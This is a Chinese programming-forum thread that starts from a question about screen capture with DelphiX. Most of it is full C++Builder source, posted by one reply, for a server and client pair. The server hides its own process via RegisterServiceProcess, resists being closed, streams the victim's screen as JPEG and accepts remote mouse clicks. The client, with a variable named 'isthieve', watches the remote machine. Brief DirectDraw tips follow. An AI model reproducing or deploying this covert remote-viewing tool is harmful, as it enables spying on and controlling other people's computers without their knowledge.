DELPHIx如何截流媒体屏?思路即可,分数另大给!(第一期500分) (1分)

  • 主题发起人 主题发起人 房客
  • 开始时间 开始时间

房客

Unregistered / Unconfirmed
GUEST, unregistred user!
tingweb@wx88.net
 
DelphiX
[Introduction]
This component collection allows you to use DirectX with Delphi far more
easily than writing it all from scratch yourself. You can even use these
components if youdo
n't have the DirectX SDK installed, i.e. just the runtime version.
http://www.yks.ne.jp/~hori/
 
http://www.experts-exchange.com
找了半天还是没有感觉
 
我还是给代码给你吧,是我用C++Builder写的,很容易改成delphi的.
服务器端:

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
#include "jpeg.hpp"
#include "server.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma link "Trayicon"
#pragma resource "*.dfm"
const BufSize=2048;
TForm1 *Form1;
long LeftSize;
TMemoryStream *jpegStream;
DWORD (__stdcall *RegisterServiceProcess)(DWORD dwProcessId,DWORD dwType);
bool clo,yk;

//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
HINSTANCE hinst=LoadLibrary("KERNEL32.DLL");

DWORD a=GetCurrentProcessId();
(FARPROC)RegisterServiceProcess=GetProcAddress(hinst,"RegisterServiceProcess");
RegisterServiceProcess(a,1);
jpegStream=new TMemoryStream();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ServerSocket1ClientDisconnect(TObject *Sender,
TCustomWinSocket *Socket)
{
jpegStream->Clear();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ServerSocket1ClientError(TObject *Sender,
TCustomWinSocket *Socket, TErrorEvent ErrorEvent, int &amp;ErrorCode)
{
ErrorCode=0;
jpegStream->Clear();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
AnsiString rstr;
rstr=Socket->ReceiveText();
if(rstr.SubString(1,5)=="mouse")//&amp;&amp;yk
{
int x,y;
x=StrToInt(rstr.SubString(9,4));
y=StrToInt(rstr.SubString(13,4));
SetCursorPos(x,y);
if(rstr.SubString(6,3)=="dbl")
{
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 );
}
if(rstr.SubString(6,3)=="lef"){
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 );
}
if(rstr.SubString(6,3)=="rig"){
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0 );
}
}
if (rstr =="show")sendscreen();
if (rstr=="stop")jpegStream->Clear();
if(rstr=="close")
{
clo=true;
Close();
}
}
//---------------------------------------------------------------------------
void TForm1::sendscreen()
{
long sendsize;
char buf[BufSize-1];
if (jpegStream->Size==0)snapscreen();
if (LeftSize>BufSize)
sendsize=BufSize;
else

sendsize=LeftSize;
jpegStream->ReadBuffer(buf,sendsize);
LeftSize=LeftSize-sendsize;
if (LeftSize==0)jpegStream->Clear();
try
{
ServerSocket1->Socket->Connections[0]->SendBuf(buf,sendsize);
}
catch(...)
{
jpegStream->Clear();
}
}


void TForm1::snapscreen()
{
Graphics::TBitmap *bmpscreen= new Graphics::TBitmap();
TJPEGImage *jpegscreen= new TJPEGImage();
HDC ScreenDC;
ScreenDC=GetDC(0);
bmpscreen->Width=Screen->Width;
bmpscreen->Height=Screen->Height;
BitBlt(bmpscreen->Canvas->Handle, 0, 0,Screen->Width,Screen->Height, ScreenDC,0,0, SRCCOPY);
ReleaseDC(0, ScreenDC);
jpegscreen->Assign (bmpscreen);
jpegscreen->CompressionQuality=99;
jpegscreen->SaveToStream (jpegStream);
jpegStream->Position =0;
LeftSize=jpegStream->Size;
bmpscreen->Free();
jpegscreen->Free();
}


void __fastcall TForm1::FormCloseQuery(TObject *Sender, bool &amp;CanClose)
{
CanClose=clo;

}
//---------------------------------------------------------------------------


客户端:

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
#include "jpeg.hpp"
#include "Unit1.h"
#include "screen.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
const bufsize=2048;
TForm1 *Form1;
TMemoryStream *stream;
TJPEGImage *jpegscreen;
bool isthieve;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------


void __fastcall TForm1::bt_connectClick(TObject *Sender)
{
AnsiString ip=InputBox("建立连接","请输入被察看的机器的IP地址或名称:","172.16.2");
if(ip!="")
{
ClientSocket1->Active=false;
ClientSocket1->Port=15333;
ClientSocket1->Host=ip;
try{
ClientSocket1->Active=true;
}
catch(...)
{
ShowMessage("连接失败!");
}
}

}
//---------------------------------------------------------------------------

void __fastcall TForm1::bt_disconnectClick(TObject *Sender)
{
Form2->Close();
isthieve=false;
ClientSocket1->Active=false;
stream->Clear();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::bt_stopClick(TObject *Sender)
{
isthieve=false;
ClientSocket1->Socket->SendText("stop");
}
//---------------------------------------------------------------------------
void __fastcall TForm1::bt_thieveClick(TObject *Sender)
{
isthieve=true;
Form2=new TForm2(this);
Form2->Show();
stream->Clear();
ClientSocket1->Socket->SendText("show");

}
//---------------------------------------------------------------------------
void __fastcall TForm1::ClientSocket1Connect(TObject *Sender,
TCustomWinSocket *Socket)
{
ShowMessage("连接成功!");
}
//---------------------------------------------------------------------------

void __fastcall TForm1::ClientSocket1Error(TObject *Sender,
TCustomWinSocket *Socket, TErrorEvent ErrorEvent, int &amp;ErrorCode)
{
ErrorCode=0;
ShowMessage("不能连接!");
}
//---------------------------------------------------------------------------

void __fastcall TForm1::ClientSocket1Read(TObject *Sender,
TCustomWinSocket *Socket)
{
char buf[bufsize];
int numberbytes;
if (isthieve)
{
numberbytes=Socket->ReceiveLength();
Socket->ReceiveBuf(buf,numberbytes);
Socket->SendText("show");
stream->Write(buf,numberbytes);
if(numberbytes<2048){
stream->Position=0;
try{
jpegscreen->LoadFromStream(stream);
Form2->Image1->Picture->Bitmap->Assign(jpegscreen);
}
catch(...){}
stream->Clear();
}
}
if (!isthieve)
Socket->SendText("stop");
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)
{
stream=new TMemoryStream();
stream->Clear();
jpegscreen=new TJPEGImage();
isthieve=false;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::bt_closeClick(TObject *Sender)
{
ClientSocket1->Active=false;
Close();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &amp;Action)
{
ClientSocket1->Socket->SendText("complete");
ClientSocket1->Active=false;
stream->Free();
jpegscreen->Free();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::SpeedButton1Click(TObject *Sender)
{
ClientSocket1->Socket->SendText("close");
if (isthieve)ShowMessage("OK");

}
//---------------------------------------------------------------------------


显示对方机器图像的:

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "screen.h"
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm2 *Form2;
//---------------------------------------------------------------------------
__fastcall TForm2::TForm2(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void TForm2::sendkey(TMessage msg)
{

}


void __fastcall TForm2::Image1DblClick(TObject *Sender)
{
tagPOINT xy;
GetCursorPos(&amp;xy);
AnsiString sx,sy;
sx=(IntToStr(xy.x)).SetLength(4);
sy=(IntToStr(xy.y)).SetLength(4);
AnsiString s="mousedbl"+sx+sy;
Form1->ClientSocket1->Socket->SendText(s);
Form1->ClientSocket1->Socket->SendText("show");
}
//---------------------------------------------------------------------------

void __fastcall TForm2::Image1MouseDown(TObject *Sender,
TMouseButton Button, TShiftState Shift, int X, int Y)
{
if(Shift.Contains(ssLeft))
{
tagPOINT xy;
GetCursorPos(&amp;xy);
AnsiString sx,sy;
sx=(IntToStr(xy.x)).SetLength(4);
sy=(IntToStr(xy.y)).SetLength(4);
AnsiString s="mouselef"+sx+sy;
Form1->ClientSocket1->Socket->SendText(s);
}
else

{
tagPOINT xy;
GetCursorPos(&amp;xy);
AnsiString sx,sy;

sx=(IntToStr(xy.x)).SetLength(4);
sy=(IntToStr(xy.y)).SetLength(4);
AnsiString s="mouserig"+sx+sy;
Form1->ClientSocket1->Socket->SendText(s);
}
}
//---------------------------------------------------------------------------


void __fastcall TForm2::FormClose(TObject *Sender, TCloseAction &amp;Action)
{
this->Free();
}
//---------------------------------------------------------------------------

 
只是远端抓屏而已
 
你是想截别人正在看什么碟子吗?
 
如何用DelphiX控件截获图像采集卡的图像并显示出来。
 
多谢wyb_star兄,正在学习BCB中
DelphiX来控制DIRECTX太不灵活了,可能是我不会用
装了百来M的SDK,还是决定装了VStudio
 
DirectDrawSurface
-->IDirectDrawSurface3通过blit函数间接访问SURFACE内存
如:
IDirectDrawSurface3.BltFast;
IDirectDrawSurface3.Lock;//锁定SURFACE
IDirectDrawSurface3.UnLock;//解锁SURFACE

DirectDraw
用directdraw其实很简单:创建primarySurface,ddsd.ipsuface就是指向显存的
lock后就可直接访问它

只能说说DirectDraw作的大致过程,不熟的说。
建立一个PrimarySurface和一个OffScreenSurface,
OffScreenSurface.GetDC,就可调用GDI函数往上绘制文字,
再PrimarySurface.Blt,取得OffScreenSurface的图象。
 
接受答案了.
 
后退
顶部